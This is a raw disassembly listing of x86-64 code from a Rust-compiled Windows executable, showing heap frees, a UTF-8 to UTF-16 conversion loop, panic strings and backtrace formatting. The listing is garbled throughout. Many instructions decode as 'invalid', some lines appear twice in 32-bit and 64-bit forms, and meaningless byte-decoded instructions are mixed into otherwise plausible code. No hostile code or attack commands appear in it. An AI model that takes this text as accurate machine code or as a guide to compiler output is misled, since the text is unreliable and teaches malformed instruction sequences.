mov ebp, 0x408
add byte [rsi + rdx + 0x4c], dh
mov eax, dword [rbp + 0x410]
mov r8, qword [rbp + 0x410]
mov rcx, qword [0x140182260]
xor edx, edx
call qword [sym.imp.kernel32.dll_HeapFree]
add eax, dword [rax]
add eax, dword [rax]
mov rax, qword [rbp + 0x3f8]
test eax, edi
add eax, dword [rax]
add byte [rax - 0x77], cl
xor byte [rax - 0x73], cl
invalid
mov qword [rax], rsi
lea rcx, [rbp + 0x3c8]
call fcn.1400d3380
cmp qword [rbp + 0x3f0], 0
je 0x1400d9597
add byte [rax], al
add byte [rsi + rdx + 0x48], dh
mov ecx, dword [0x140182260]
mov rcx, qword [0x140182260]
xor edx, edx
mov r8, qword [rbp + 0x400]
mov eax, dword [rbp + 0x400]
mov eax, dword [rbp + 0x400]
call qword [sym.imp.kernel32.dll_HeapFree]
adc eax, 0x39dc9
leave
popfq
add eax, dword [rax]
nop
add rsp, 0x4a8
add byte [rax], al
add byte [rax], al
pop rbx
pop rdi
pop rsi
pop r12
pop r13
pop r14
pop rsi
pop rsi
pop r15
pop rbp
ret
lea rcx, str.internal_error:_entered_unreachable_code_rustc_f9b16149208c8a8a349c32813312716f6603eb6flibrary_std_src_threadmod.rs
lea r8, str.library_std_src_syspalwindowsmod.rsstrings_passed_to_WinAPI_cannot_contain_NULs
add eax, 0x722ce
invalid
add eax, 0x722ce
invalid
mov edx, 0x28
call fcn.140108630
jmp 0x1400d95db
lea rax, str.library_std_src_syspalwindowsmod.rsstrings_passed_to_WinAPI_cannot_contain_NULs
mov rcx, r8
add byte [rcx + rcx*4 - 0x3f], cl
mov rdx, r15
mov r8, rax
call fcn.140108620
ud2
push rbx
sub rsp, 0x28
lea rbp, [rdx + 0x80]
lea ebp, [rdx + 0x80]
lea ebp, [rdx + 0x80]
cmp qword [rbp + 0x408], 0
je 0x1400d961c
mov r8, qword [rbp + 0x410]
add byte [rax], al
mov rcx, qword [0x140182260]
xor edx, edx
call qword [sym.imp.kernel32.dll_HeapFree]
nop
add rsp, 0x28
invalid
sub byte [rbx + 0x5f], bl
pop rsi
pop r12
invalid
pop r13
pop r14
pop r15
pop rbp
ret
push r13
push rbp
push r12
push rsi
push rdi
push rbx
sub rsp, 0x28
lea rbp, [rdx + 0x80]
cmp qword [rbp + 0x3f0], 0
je case.0x1400b36b6.776
mov rcx, qword [0x140182260]
add ecx, dword [rdx + rcx + 0x4cd23100]
xor edx, edx
mov r8, qword [rbp + 0x400]
mov eax, dword [rbp + 0x400]
mov eax, dword [rbp + 0x400]
call qword [sym.imp.kernel32.dll_HeapFree]
nop
add rsp, 0x28
pop rbx
pop rdi
pop rsi
pop r12
pop r13
pop r14
pop r15
pop rbp
ret
sub esp, 0x50
lea rbp, [rsp + 0x50]
and al, 0x50
mov rsi, rcx
mov rax, qword [rcx]
mov rcx, rax
ror dword [rax - 1], 0xc1
ror dword [rax - 1], 0xc1
je 0x1400d9714
lea rdx, [rax + rax]
cmp rdx, rcx
cmova rcx, rdx
retf 0xb849
xchg rdx, rax
xchg edx, eax
and al, 0x49
xchg edx, eax
and al, 0x49
add dh, byte [rcx]
ror byte [rcx + rdi - 0x3f], cl
retf 0xb849
setb dl
cmp rcx, 5
cmp ecx, 5
mov edi, 4
cmovae rdi, rcx
imul r8, rdi, 0x38
shl edx, 3
test rax, rax
je 0x1400d96e7
mov rcx, qword [rsi + 8]
imul rax, rax, 0x38
mov qword [rbp - 0x30], rcx
mov qword [rbp - 0x20], rax
mov eax, 8
jmp 0x1400d96e9
xor eax, eax
mov qword [rbp - 0x28], rax
lea rcx, [rbp - 0x18]
lea r9, [rbp - 0x30]
call fcn.1400d4a40
cmp qword [rbp - 0x18], 0
jne 0x1400d971b
mov rax, qword [rbp - 0x10]
mov qword [rsi + 8], rax
or byte [rax - 0x77], cl
add rsp, 0x50
or byte [rax - 0x77], cl
add rsp, 0x50
pop rdi
pop rsi
pop rbp
ret
xor ecx, ecx
call fcn.1401082a0
mov rcx, qword [rbp - 0x10]
mov rdx, qword [rbp - 8]
call fcn.1401082a0
int3
mov rax, rsi
shr rax, 0x3e
jne 0x1400d9a08
mov edx, edi
call fcn.1400df910
test rax, rax
je 0x1400d9a0d
mov qword [rbp - 0x18], rsi
mov qword [rbp - 0x10], rax
mov qword [rbp - 8], 0
add byte [rax], al
add byte [rax], al
add rbx, r14
xor edi, edi
mov r12, 0xffffffffffffffff
lea r15, [rbp - 0x18]
xor r13d, r13d
jmp 0x1400d97cf
dec dword [rbp + rcx*4 + 0x7d]
call 0x12bfac8f8
sbb esp, dword [rsi + 0x66]
nop word cs:[rax + rax]
invalid
mov word [rax + rdi*2], r13w
inc rdi
mov qword [rbp - 8], rdi
mov r13d, esi
test r13w, r13w
je 0x1400d97f0
xor esi, esi
cmp rdi, qword [rbp - 0x18]
jne 0x1400d97c0
jmp 0x1400d98d0
cmp r14, rbx
je 0x1400d9902
movzx edx, byte [r14]
movzx r13d, dl
test r13b, r13b
in eax, dx
js 0x1400d9816
inc r14
xor esi, esi
cmp rdi, qword [rbp - 0x18]
jne 0x1400d97c0
jmp 0x1400d98d0
mov ecx, r13d
and ecx, 0x1f
movzx r8d, byte [r14 + 1]
movzx eax, byte [rsi + 1]
and r8d, 0x3f
cmp r13b, 0xdf
jbe 0x1400d986d
invalid
movzx r13d, byte [r14 + 2]
movzx r13d, byte [r14 + 2]
shl r8d, 6
and r13d, 0x3f
or r13d, r8d
cmp dl, 0xf0
jb 0x1400d9887
movzx edx, byte [r14 + 3]
add r14, 4
and ecx, 7
invalid
shl ecx, 0x12
shl r13d, 6
and edx, 0x3f
or edx, r13d
or edx, ecx
mov r13d, edx
cmp r13d, 0xffff
cmp ebp, 0xffff
add ecx, dword [rcx - 0x7d]
mov byte [rbx + rax*4], 0xe1
invalid
cmp ebp, 0xffff
jbe 0x1400d97d5
jmp 0x1400d989e
add r14, 2
shl ecx, 6
or ecx, r8d
rol dword [rcx - 0x77], 0xcd
rol dword [rcx - 0x77], 0xcd
xor esi, esi
cmp rdi, qword [rbp - 0x18]
je 0x1400d98d0
jmp 0x1400d97c0
add r14, 3
shl ecx, 0xc
or r13d, ecx
cmp r13d, 0xffff
jbe 0x1400d97d5
invalid
invalid
lea ecx, [r13 + 0xff0000]
shr ecx, 0xa
or ecx, 0xd800
add byte [rax], al
and r13d, 0x3ff
or r13d, 0xdc00
mov esi, r13d
mov r13d, ecx
cmp rdi, qword [rbp - 0x18]
jne 0x1400d97c0
nop dword [rax]
mov r8, rbx
sub r8, r14
add r8, 3
rol byte [rbx], 0x4d
cmovb eax, esp
invalid
invalid
fmul dword [rbp + 0x29]
invalid
rol byte [rbx], 0x4d
cmovb eax, esp
invalid
invalid
invalid
shr r8, 2
cmp si, 1
cmp esi, 1
cmp esi, 1
sbb r8, 0
add r8, 2
rol byte [rdx], 0x4c
mov ecx, edi
rol byte [rdx], 0x4c
mov ecx, edi
mov rdx, rdi
cli
call fcn.140110490
add eax, dword [rax]
mov rax, qword [rbp - 0x10]
jmp 0x1400d97c0
invalid
mov r8, qword [rbp - 0x10]
mov rax, rdi
mov eax, edi
mov eax, edi
mov rcx, r8
ror dword [rax - 0x7d], 0xff
or byte [rdx + 0x4b], dh
cmp rdi, 8
jb 0x1400d995d
mov rcx, r8
mov rax, rdi
cmp word [rcx], 0
je 0x1400d9980
cmp word [rcx + 2], 0
je 0x1400d9980
cmp word [rcx + 4], 0
cmp dword [rcx + 4], 0
jns 0x1400d992d
add byte [rsp + rdx*2 + 0x66], dh
je 0x1400d9980
cmp word [rcx + 6], 0
cmp dword [rcx + 6], 0
je 0x1400d9980
cmp word [rcx + 8], 0
je 0x1400d9980
cmp word [rcx + 0xa], 0
je 0x1400d9980
cmp word [rcx + 0xc], 0
je 0x1400d9980
add byte [rax + rdi + 0x66], dh
cmp word [rcx + 0xe], 0
cmp dword [rcx + 0xe], 0
add byte [rcx + rsi + 0x48], dh
add eax, 0xfffffff8
je 0x1400d9980
add rax, 0xfffffffffffffff8
add rcx, 0x10
cmp rax, 7
ja 0x1400d9918
add rax, rax
xor edx, edx
nop word cs:[rax + rax]
cmp rax, rdx
je 0x1400d99c3
cmp word [rcx + rdx], 0
lea rdx, [rdx + 2]
push rdx
add dh, byte [rbp - 0x10]
lea rax, [0x14014b858]
mov rcx, qword [rbp - 0x20]
mov qword [rcx + 8], rax
movabs rax, 0x8000000000000000
add byte [rax], al
add byte [rax], al
or byte [rax - 0x77], 1
add byte [rax], al
add byte [rax], al
or byte [rax - 0x77], 1
cmp qword [rbp - 0x18], 0
je 0x1400d99f7
mov rcx, qword [0x140182260]
mov ecx, dword [0x140182260]
xor edx, edx
add rsp, 0x48
pop rbx
pop rdi
pop rsi
pop r12
pop rsp
pop rsp
pop r13
pop r14
pop r15
pop rbp
jmp qword [sym.imp.kernel32.dll_HeapFree]
cmp rdi, qword [rbp - 0x18]
cmp edi, dword [rbp - 0x18]
jne 0x1400d99da
lea rcx, [rbp - 0x18]
call fcn.1400d8f90
mov r8, qword [rbp - 0x10]
mov eax, dword [rbp - 0x10]
invalid
invalid
mov rdi, qword [rbp - 8]
invalid
mov word [r8 + rdi*2], 0
inc rdi
mov qword [rbp - 8], rdi
mov rax, qword [rbp - 0x20]
mov qword [rax + 0x10], rdi
movups xmm0, xmmword [rbp - 0x18]
movups xmmword [rax], xmm0
add rsp, 0x48
pop rbx
pop rdi
pop rsi
pop r12
pop r13
pop r14
pop r15
pop rbp
ret
mov ecx, 2
mov rdx, rdi
call fcn.1401082a0
int3
mov byte [rdx], cl
add byte [rcx], dh
sar bh, cl
adc eax, 0x3990d
nop
add rsp, 0x28
invalid
sub byte [rbx + 0x5f], bl
pop rsi
pop r12
pop rsp
invalid
pop rsp
pop r13
pop r14
pop r15
pop rbp
ret
int3
int3
push rsi
push r13
push r12
push rsi
push rdi
push rbx
sub rsp, 0xf8
add byte [rax], al
add byte [rax - 0x73], cl
lea ebp, [rsp + 0x80]
mov rbx, qword [rcx]
mov rsi, qword [rcx + 8]
add byte [rax], al
add byte [rax - 0x73], cl
lea ebp, [rsp + 0x80]
mov rbx, qword [rcx]
mov rsi, qword [rcx + 8]
mov qword [rbp - 0x58], rdx
test rdx, rdx
sal byte [rbp + 0x14], cl
sal byte [rbp + 0x14], cl
adc al, 0x80
jnp 0x1400d9abe
cmp byte [rbx + 0x20], 0
jne 0x1400d9aaf
add byte [rbp + 0xe], dh
inc rsi
mov qword [rcx + 8], rsi
jno 0x1400d9ab0
jno 0x1400d9ab0
xor eax, eax
jmp 0x1400d9e32
add eax, dword [rax]
invalid
add eax, dword [rax]
add byte [rbp - 0x77], cl
invalid
mov r15, r8
mov edi, eax
mov r14, r9
mov rdi, rcx
mov rax, qword [rbx]
add ecx, dword [rax - 0x7b]
invalid
add ecx, dword [rax - 0x7b]
test byte [rdi], 0x84
test al, 0
add byte [rax], al
invalid
test esi, esi
je 0x1400d9b6c
add byte [rax], al
add byte [rax - 0x75], cl
mov rcx, qword [rax + 0x20]
mov rax, qword [rax + 0x28]
lea rdx, str.___________________at_library_std_src...._backtrace_srcdbghelp.rs
mov rcx, qword [rax + 0x20]
mov rax, qword [rax + 0x28]
lea rdx, str.___________________at_library_std_src...._backtrace_srcdbghelp.rs
mov r8d, 6
call qword [rax + 0x18]
invalid
test al, al
jne 0x1400d9e30
cmp byte [rbx + 0x20], 1
jne 0x1400d9c97
add byte [rax], al
add byte [rax], al
mov rax, qword [rbx]
add ecx, dword [rax - 0x73]
or eax, 0x99b50
or dword [rax], eax
add ecx, dword [rax - 0x73]
or eax, 0x99b50
or dword [rax], eax
or dword [rax], eax
mov qword [rbp - 0x40], rcx
lea rdx, [0x140013930]
adc eax, 0xfff39e2d
adc eax, 0xfff39e2d
mov qword [rbp - 0x38], rdx
mov dword [rbp - 0x38], edx
mov qword [rbp - 0x30], 0x15
mov qword [rbp - 0x28], 0
add byte [rax], al
add byte [rax - 0x39], cl
lock add al, byte [rax]
add byte [rax], al
add byte [rax], al
add byte [rax - 0x39], cl
lock add al, byte [rax]
add byte [rax], al
mov qword [rbp], 1
mov dword [rbp], 1
mov qword [rbp + 8], 1
mov dword [rbp + 8], 1
mov qword [rbp + 0x10], 0
mov dword [rbp + 0x10], 0
adc byte [rax], al
add byte [rax], al
add byte [rax - 0x39], cl
sbb byte [r8], r12b
add byte [rax], al
add dh, al
mov qword [rbp + 0x18], 0x20
mov byte [rbp + 0x20], 3
and byte [r11], r8b
and byte [r11], r8b
mov qword [rbp + 0x40], rcx
mov qword [rbp + 0x48], 1
add byte [rax - 0x73], cl
invalid
invalid
add byte [rax - 0x73], cl
invalid
lea ecx, [rbp - 0x10]
mov qword [rbp + 0x60], rcx
mov qword [rbp + 0x68], 1
lea rcx, [rbp - 0x40]
lea ecx, [rbp - 0x40]
lea ecx, [rbp - 0x40]
ror byte [rax - 0x77], 0x4d
push rax
mov qword [rbp + 0x50], rcx
jmp 0x1400d9c76
add dword [rax], eax
add byte [rax - 0x73], cl
sbb byte [r8 - 0x77], cl
ror byte [r8 - 0x73], 0xd
lea rcx, [fcn.140012cc0]
dec dword [rax - 0x77]
lea rcx, [rbx + 0x18]
mov qword [rbp - 0x40], rcx
lea rcx, [fcn.140012cc0]
dec dword [rax - 0x77]
enter 0xffffffffffffc748, 0x45
lock add al, byte [rax]
add byte [rax], al
invalid
dec dword [rax - 0x77]
enter 0xffffffffffffc748, 0x45
lock add al, byte [rax]
add byte [rax], al
invalid
mov qword [rbp], 0
mov qword [rbp + 8], 4
add byte [rax], al
invalid
add byte [rax], al
add byte [rax - 0x39], cl
or byte [r8 + rax], r8b
invalid
add byte [rax], al
add byte [rax - 0x39], cl
adc byte [r8], r8b
add byte [rax], al
add byte [rax - 0x39], cl
sbb byte [r8], r12b
add byte [rax], al
add dh, al
and byte [r11], r8b
add byte [rax], al
mov qword [rbp + 0x10], 0
mov qword [rbp + 0x18], 0x20
add byte [rax], al
add dh, al
and byte [r11], r8b
lea rcx, [0x14014ad60]
mov qword [rbp + 0x40], rcx
mov qword [rbp + 0x48], 2
invalid
mov qword [rbp + 0x48], 2
lea r12, [rbp - 0x10]
mov qword [rbp + 0x60], r12
mov qword [rbp + 0x68], 1
lea r13, [rbp - 0x40]
mov qword [rbp + 0x50], r13
mov qword [rbp + 0x58], 1
invalid
pop r8
add dword [rax], eax
add byte [rax], al
mov rcx, qword [rax + 0x20]
mov ecx, dword [rax + 0x20]
mov rdx, qword [rax + 0x28]
lea r8, [rbp + 0x40]
call fcn.140013990
test al, al
jne 0x1400d9e30
cmp dword [rdx], eax
add byte [rax], al
cmp byte [rbx + 0x20], 1
jne 0x1400d9c97
invalid
add byte [rax - 0x75], cl
add ecx, dword [rax - 0x73]
test al, 0x48
mov dword [rbp - 0x40], ecx
mov rax, qword [rbx]
lea rcx, [rbp - 0x58]
mov qword [rbp - 0x40], rcx
ror byte [r8 - 0x73], 0xd
fld qword [rbx]
add byte [rax], al
lea rcx, [0x1400d9ff0]
mov qword [rbp - 0x38], rcx
mov qword [rbp - 0x30], 0x12
mov qword [rbp - 0x28], 0
mov qword [rbp - 0x10], 2
mov qword [rbp], 1
mov qword [rbp + 8], 1
mov qword [rbp + 0x10], 0
add byte [rax], al
add byte [rax - 0x39], cl
sbb byte [r8], r12b
add byte [rax], al
add dh, al
and byte [r11], r8b
lea rcx, [0x14014ad88]
mov qword [rbp + 0x40], rcx
mov qword [rbp + 0x48], 2
mov qword [rbp + 0x60], r12
mov qword [rbp + 0x68], 1
mov qword [rbp + 0x50], r13
mov qword [rbp + 0x58], 2
mov rcx, qword [rax + 0x20]
mov rdx, qword [rax + 0x28]
lea r8, [rbp + 0x40]
call fcn.140013990
call fcn.140013990
test al, al
jne 0x1400d9e30
invalid
add byte [rcx - 0x7d], al
invalid
cmp dword [r15], 3
je 0x1400d9d35
xchg esp, eax
add byte [rax], al
invalid
xchg esp, eax
add byte [rax], al
add byte [rdi], cl
mov dh, 0x43
movzx eax, byte [rbx + 0x20]
cmp eax, 2
je 0x1400d9d35
add byte [rax], al
invalid
and byte [rbx - 0x7bf0fd08], al
xchg dword [rax], eax
add byte [rax], al
invalid
add byte [rax], al
add byte [rbx - 0x7af0fe08], al
test dword [rsi + 0x41000000], esp
invalid
cmp eax, 1
jne 0x1400d9d5d
invalid
cmpsb byte [rsi], byte [rdi]
add byte [rax], al
invalid
test dword [rsi + 0x41000000], esp
movups xmm0, xmmword [rdi + 0x40]
adc byte [rdi + 0x40], al
movups xmm0, xmmword [r15 + 0x40]
adc byte [rdi + 0x40], al
movaps xmmword [rbp + 0x30], xmm0
movups xmm0, xmmword [r15]
movups xmm1, xmmword [r15 + 0x10]
invalid
invalid
adc byte [r9 + 0xf], r8b
adc byte [rdi + 0x20], dl
movups xmm2, xmmword [r15 + 0x20]
movups xmm3, xmmword [r15 + 0x30]
movaps xmmword [rbp + 0x20], xmm3
pop rbp
and byte [rdi], cl
sub dword [rbp + 0x10], edx
pop rbp
and byte [rdi], cl
sub dword [rbp + 0x10], edx
movaps xmmword [rbp], xmm1
sub dword [rbp], ecx
movaps xmmword [rbp - 0x10], xmm0
mov rax, qword [rbx]
lea rcx, [rbp - 0x10]
mov qword [rbp - 0x40], rcx
lea rcx, [0x1400d6fa0]
stosd dword [rdi], eax
sar bh, cl
invalid
dec dword [rax - 0x77]
enter 0xffffffffffff8d48, 0xd
enter 0xffffffffffff8d48, 0xd
cqo
or dword [rax], eax
invalid
stosd dword [rdi], eax
sar bh, cl
invalid
dec dword [rax - 0x77]
enter 0xffffffffffff8d48, 0xd
enter 0xffffffffffff8d48, 0xd
invalid
enter 0xffffffffffff8d48, 0xd
cqo
or dword [rax], eax
invalid
add byte [rax - 0x77], cl
mov qword [rbp + 0x48], 1
add qword [rax], rax
add byte [rax], al
mov qword [rbp + 0x40], rcx
mov dword [rbp + 0x40], ecx
mov qword [rbp + 0x48], 1
add qword [rax], rax
add dword [rax], eax
add byte [rax], al
mov qword [rbp + 0x60], 0
mov dword [rbp + 0x60], 0
lea rcx, [rbp - 0x40]
mov qword [rbp + 0x50], rcx
push rax
push rax
mov qword [rbp + 0x58], 1
mov rcx, qword [rax + 0x20]
mov rdx, qword [rax + 0x28]
mov edx, dword [rax + 0x28]
add byte [rax], al
add byte [rax - 0x75], cl
and byte [rax - 0x75], cl
mov edx, dword [rax + 0x28]
lea r8, [rbp + 0x40]
jmp 0x1400d9e08
mov edx, dword [rax + 0x28]
lea r8, [rbp + 0x40]
jmp 0x1400d9e08
mov rax, qword [rbx]
mov rcx, qword [rax + 0x20]
mov rax, qword [rax + 0x28]
sub byte [rax - 0x73], cl
adc eax, 0x70af2
invalid
invalid
add ecx, dword [rax - 0x75]
and byte [rax - 0x75], cl
sub byte [rax - 0x73], cl
adc eax, 0x70af2
invalid
invalid
invalid
mov r8d, 9
call qword [rax + 0x18]
test al, al
je 0x1400d9e11
invalid
invalid
add byte [rax], al
invalid
add bh, bh
push rax
sbb byte [rax + rax*8 + 0xb9840f], al
invalid
invalid
add byte [rax], al
invalid
test byte [rcx - 0x17000000], bh
rol dword [rax], cl
add byte [rax], al
invalid
jmp 0x1400d9e30
add byte [rax], al
add byte [rcx + 0xf], al
adc byte [rdi + 0x40], al
invalid
movups xmm0, xmmword [r15 + 0x40]
movaps xmmword [rbp + 0x30], xmm0
movaps xmmword [rbp + 0x30], xmm0
movups xmm0, xmmword [r15]
adc byte [rdi], al
movups xmm1, xmmword [r15 + 0x10]
movups xmm2, xmmword [r15 + 0x20]
movups xmm3, xmmword [r15 + 0x30]
adc byte [rdi + 0x30], bl
adc byte [rdi + 0x30], bl
movaps xmmword [rbp + 0x20], xmm3
movaps xmmword [rbp + 0x10], xmm2
movaps xmmword [rbp], xmm1
add byte [rdi], cl
sub dword [rbp - 0x10], eax
add byte [rdi], cl
sub dword [rbp - 0x10], eax
mov rax, qword [rbx]
lea rcx, [rbp - 0x10]
mov qword [rbp - 0x50], rcx
mov r8b, 0x48
lea ecx, [0x1400d6fa0]
invalid
invalid
add ecx, dword [rax - 0x73]
invalid
mov r8b, 0x48
lea ecx, [0x1400d6fa0]
invalid
invalid
invalid
mov qword [rbp - 0x48], rcx
mov qword [rbp + 0x40], 2
mov dword [rbp + 0x40], 2
mov dword [rbp + 0x40], 2
mov qword [rbp + 0x50], 2
mov dword [rbp + 0x50], 2
add byte [rax - 0x39], cl
invalid
mov qword [rbp + 0x60], 0
add byte [rax], al
movabs rcx, 0x400000020
add byte [rax + rax], al
add byte [rax], al
mov qword [rbp + 0x68], rcx
mov byte [rbp + 0x70], 3
push 0x37045c6
lea rcx, [0x140173648]
mov qword [rbp - 0x40], rcx
mov dword [rbp - 0x40], ecx
mov dword [rbp - 0x40], ecx
mov qword [rbp - 0x38], 1
add dword [rax], eax
add byte [rax], al
lea rcx, [rbp + 0x40]
mov qword [rbp - 0x20], rcx
mov qword [rbp - 0x20], rcx
loopne 0x1400d9e2d
mov qword [rbp - 0x18], 1
mov dword [rbp - 0x18], 1
call case.0x140031ef2.2656
add byte [rax], al
lea rcx, [rbp - 0x50]
lea ecx, [rbp - 0x50]
mov qword [rbp - 0x30], rcx
mov qword [rbp - 0x28], 1
mov rcx, qword [rax + 0x20]
add byte [rax - 0x75], cl
and byte [rax - 0x75], cl
mov rdx, qword [rax + 0x28]
lea r8, [rbp - 0x40]
push rax
sub byte [rbp + rcx*4 + 0x45], cl
shr al, 0x83
sbb dword [rbx - 0x3f7b000d], 0x75
invalid
mov rax, qword [rbx]
mov rcx, qword [rax + 0x20]
invalid
invalid
call fcn.140013990
test al, al
jne 0x1400d9e30
invalid
sbb dword [rbx - 0x3f7b000d], 0x75
invalid
mov rax, qword [rbx]
mov rcx, qword [rax + 0x20]
mov rax, qword [rax + 0x28]
lea rdx, [0x14014aab0]
adc eax, 0x70c8d
and byte [rax - 0x75], cl
sub byte [rax - 0x73], cl
adc eax, 0x70c8d
mov r8d, 1
add dword [rax], eax
add byte [rax], al
invalid
add bh, bh
push rax
sbb byte [rax + rax*8 + 0x1b01674], al
test al, al
je 0x1400d9e46
mov al, 1
call qword [rax + 0x18]
test al, al
je 0x1400d9e46
sal byte [rsi + rdx - 0x50], 1
mov al, 1
add rsp, 0xf8
add esp, 0xf8
clc
add byte [rax], al
add byte [rbx + 0x5f], bl
pop rdi
pop rbx
pop rdi
pop rsi
pop r12
pop r13
pop r14
pop rsi
pop rsi
pop r15
pop rbp
ret
cmp dword [rbp + 0xe0], 1
mov rcx, rdi
loopne 0x1400d9e4a
add byte [rax], al
add dword [rax - 0x77], ecx
stc
mov ecx, edi
jne 0x1400d9aa1
dec dword [rcx + rcx*4 - 0x10]
mov rax, r14
mov rax, qword [r14]
cmp eax, 2
je 0x1400d9aa1
invalid
dec dword [rbx + 0xe885]
add byte [rcx + 0x7b80b045], cl
and byte [rcx], al
mov eax, dword [rbp + 0xe8]
add byte [rax], al
mov dword [rbp - 0x50], eax
cmp byte [rbx + 0x20], 1
jne 0x1400d9f12
invalid
mov rax, qword [rbx]
lea rcx, [0x140173648]
or dword [rax], eax
mov qword [rbp - 0x40], rcx
lea rdx, [0x140013930]
mov qword [rbp - 0x38], rdx
mov qword [rbp - 0x30], 0x12
mov qword [rbp - 0x28], 0
mov qword [rbp - 0x10], 2
mov qword [rbp], 1
mov qword [rbp + 8], 1
mov qword [rbp + 0x10], 0
mov qword [rbp + 0x18], 0x20
mov byte [rbp + 0x20], 3
mov qword [rbp + 0x40], rcx
mov qword [rbp + 0x48], 1
lea rcx, [rbp - 0x10]
mov qword [rbp + 0x60], rcx
mov qword [rbp + 0x68], 1
lea rcx, [rbp - 0x40]
mov qword [rbp + 0x50], rcx
mov qword [rbp + 0x58], 2
mov rcx, qword [rax + 0x20]
mov rdx, qword [rax + 0x28]
lea r8, [rbp + 0x40]
call fcn.140013990
test al, al
jne 0x1400d9e30
mov rax, qword [rbx]
mov rcx, qword [rax + 0x20]
and byte [rax - 0x75], cl
sub byte [rax - 0x73], cl
adc eax, 0x70e8a
add ecx, dword [rax - 0x75]
and byte [rax - 0x75], cl
sub byte [rax - 0x73], cl
adc eax, 0x70e8a
mov r8d, 0x10
call qword [rax + 0x18]
test al, al
jne 0x1400d9e30
mov rcx, qword [rbx + 8]
mov rax, qword [rbx + 0x10]
mov rdx, qword [rbx]
mov qword [rbp - 0x10], rdx
lea r8, [rbp - 8]
movups xmm0, xmmword [r14]
movups xmmword [rbp - 8], xmm0
mov r9, qword [r14 + 0x10]
mov qword [rbp + 8], r9
call qword [rax + 0x20]
test al, al
jne 0x1400d9e30
mov rax, qword [rbx]
lea rcx, [rbp - 0x50]
mov qword [rbp + 0x40], rcx
lea rcx, [0x140013bc0]
mov qword [rbp + 0x48], rcx
lea rcx, [0x140172f88]
mov qword [rbp - 0x10], rcx
mov qword [rbp - 8], 1
mov qword [rbp + 0x10], 0
lea rcx, [rbp + 0x40]
mov qword [rbp], rcx
mov qword [rbp + 8], 1
mov rcx, qword [rax + 0x20]
mov rdx, qword [rax + 0x28]
lea r8, [rbp - 0x10]
call fcn.140013990
test al, al
jne 0x1400d9e30
mov rax, qword [rbx]
mov rcx, qword [rax + 0x20]
mov rax, qword [rax + 0x28]
lea rdx, [0x14014aab0]
mov r8d, 1
add byte [rax], al
add byte [rax], al
call qword [rax + 0x18]
mov ecx, eax
mov al, 1
test cl, cl
mov rcx, rdi
je 0x1400d9aa1
cli
invalid
invalid
cli
invalid
jmp 0x1400d9e32
invalid
add byte [rax], al
lea rbp, [rsp + 0x80]
movaps xmmword [rbp + 0x30], xmm6
mov rsi, rdx
invalid
mov rax, qword [rcx]
movdqu xmm6, xmmword [rdx]
mov edi, dword [rdx + 0x34]
mov ecx, edi
test dil, 4
je case.0x140018f24.3433
invalid
mov dword [rsp + rsi*2], 0x83f9891e
leave
or byte [rsi + 0x48], ah
movd edx, mm6
mov ecx, edi
stc
or ecx, 8
movq rdx, xmm6
jle 0x1400da017
test rdx, rdx
jne case.0x140018f24.3433
mov qword [rsi], 1
mov dword [rsi], 1
mov qword [rsi + 8], 0x12
add byte [rax], al
add byte [rbx + 0x4e8904c9], al
xor al, 0x41
mov eax, 0x81
or ecx, 4
mov dword [rsi + 0x34], ecx
mov r8d, 0x81
mov rdx, rax
mov edx, eax
ret 0x1f0f
nop dword [rax + rax]
add byte [rax], al
add byte [rcx + rcx*4 - 0x3f], cl
mov rcx, r8
shr rdx, 4
shr edx, 4
add al, 0x41
mov eax, eax
mov r8d, eax
and r8b, 0xf
and al, 0xf
lea r9d, [r8 + 0x30]
lea r10d, [r8 + 0x57]
lea edx, [rax + 0x57]
push rax
push rdi
cmp r8b, 0xa
movzx r8d, r9b
or al, byte [rbp + 0xf]
mov dh, 0xc1
movzx r9d, r10b
mov dh, 0xca
cmovb r9d, r8d
mov byte [rbp + rcx - 0x52], r9b
mov byte [rbp + rcx - 0x52], cl
lea r8, [rcx - 1]
dec dword [rax - 0x7d]
clc
adc byte [rax - 0x77], cl
cmp rax, 0x10
cmp eax, 0x10
mov rax, rdx
sal byte [rbx - 0x38], 1
jae 0x1400da050
add rcx, 0xfffffffffffffffe
cmp rcx, 0x81
jae 0x1400da0db
mov eax, 0x81
sub rax, r8
add rcx, rbp
ror byte [rax + 1], 0xe9
add rcx, 0xffffffffffffffb0
add ecx, 0xffffffb0
mov qword [rsp + 0x28], rax
mov qword [rsp + 0x20], rcx
sub byte [rax - 0x77], cl
and al, 0x20
lea r8, [0x140172d18]
lea eax, [0x140172d18]
mov r9d, 2
mov rcx, rsi
int1
mov dl, 1
call fcn.140012de0
push rbx
movq qword [rsi], mm6
push rbx
push rbx
movq qword [rsi], mm6
mov dword [rsi + 0x34], edi
movaps xmm6, xmmword [rbp + 0x30]
invalid
xor al, 0xf
sub byte [rbp + 0x30], dh
invalid
add rsp, 0xc0
pop rdi
pop rsi
invalid
pop rbp
ret
lea r8, [0x140115248]
mov cl, 3
add byte [rdx + 0x80], bh
mov edx, 0x80
add eax, dword [rax]
mov edx, 0x80
call fcn.1401085a0
int3
int3
mov eax, eax
movzx r8d, byte [rcx + 0x20]
xor r9d, r9d
leave
movabs r10, 0x8000000000000000
cmp qword [rcx], r10
add byte [rax], al
add byte [rax], al
add byte [rax + 0x4c11394c], al
cmovne ecx, ecx
cmp dword [rcx], edx
cmovne r9, rcx
mov rcx, rdx
mov ecx, edx
mov rdx, rax
pop rbp
jmp fcn.1400d7240
invalid
invalid
and al, 0xd1
invalid
dec esp
int3
int3
in al, dx
cwde
add byte [rax], al
add byte [rax - 0x73], cl
lodsb al, byte [rsi]
and al, 0x80
add byte [rax], al
add byte [rax - 0x39], cl
adc r14b, r15b
adc dh, bh
mov dword [rbp + 0x10], 0xfffffffe
adc dh, bh
invalid
mov rax, qword [rcx]
mov ecx, eax
and ecx, 3
lea r8, [0x140179634]
movsxd rcx, dword [r8 + rcx*4]
add rcx, r8
jmp rcx
mov r9, qword [rax]
mov r8, qword [rax + 8]
mov rcx, rdx
mov rdx, r9
add rsp, 0x98
pop rbx
pop rdi
pop rsi
pop rbp
jmp fcn.140013630
shr rax, 0x20
mov dword [rbp + 0xc], eax
lea rsi, [rbp - 0x10]
mov rcx, rsi
mov ecx, esi
mov ecx, esi
mov rdi, rdx
mov edx, eax
call fcn.1400d6450
invalid
dec dword [rax - 0x77]
jne 0x1400da15c
lea rax, [0x1400109c0]
mov qword [rbp - 0x28], rax
lea rax, [rbp + 0xc]
lea eax, [rbp + 0xc]
lea eax, [rbp + 0xc]
mov qword [rbp - 0x20], rax
lea rax, [0x140019870]
mov qword [rbp - 0x18], rax
lea rax, [0x14014a070]
mov qword [rbp - 0x60], rax
movabs al, byte [0x3a845c748]
